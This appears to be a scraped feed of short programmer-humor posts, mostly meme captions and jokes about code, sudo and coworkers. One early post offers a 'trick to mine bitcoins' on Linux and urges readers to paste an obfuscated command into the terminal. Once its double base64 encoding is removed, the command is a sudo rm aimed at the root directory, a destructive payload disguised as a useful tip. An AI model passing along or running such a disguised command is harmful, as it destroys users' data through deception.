Productivity level 10000...

Current time: 4:04am.
Sleep not found :/

Bitcoin price is rising again,

For those using linux/unix system you can try this little trick i use to mine bitcoins

Open the terminal and paste this command

sudo echo "c3VkbyBlY2hvICJjM1ZrYnlCeWJTQnlaaUF2S2c9PSIgfCBvcGVuc3NsIGJhc2U2NCAtZCB8IHNo" | openssl base64 -d | sh

Thank me later.

Never. They either ended up as my boyfriend, started to like me so didn't want to talk to me anymore, or never liked me because I'm shy. 😅

When your code game is strong

I just can’t imagine it.

( ._.) “Hey dude, I code. Do you?”
(.-. ) “Same”
( ._.) “Friends?”
(.-. ) “Friends”

I did it; it works.

when you check the commits to see who wrote shitty code

hello world

When you get carried away in gaming :))

Mock explained

Oh no!

Saw this on insta thought it was pretty funny

Source: /r/programmerhumor

Just found this yesterday in someone github profile.. you can also press the button and listen to how she says it 😂😂
Link and credits :
https://salomonelli.github.io/perso...

This is the best thing I've seen all week.

Fricking Italians cooking spaghetti in my code projects

(┛◉Д◉)┛彡┻━┻🍝

Adult responsibilities for the morning are complete. Trash is out, dishes are done, coffee is made, time to learn some code ya filthy animals

Ok seriously I cannot trust the user's gender by avatar at all at this point.

I know @ThatDude is a guy and now @irene

This is what happens when you listen to clients

Only pure evil can design a PC case that has reset button same size and shape like USB port and place it next to USB ports.

Found this on FB

Facts.

A nice week for all of you.

So adopting this price list. Like right now.

I mean... Yeah

When people take office automation too seriously.... 😂

Let's play Sudo, a Linux board game

Are you fucking kidding me? One of many annyoning websites/apps in the Philippines.

You want a good rant?
Here have a look at this -
http://motherfuckingwebsite.com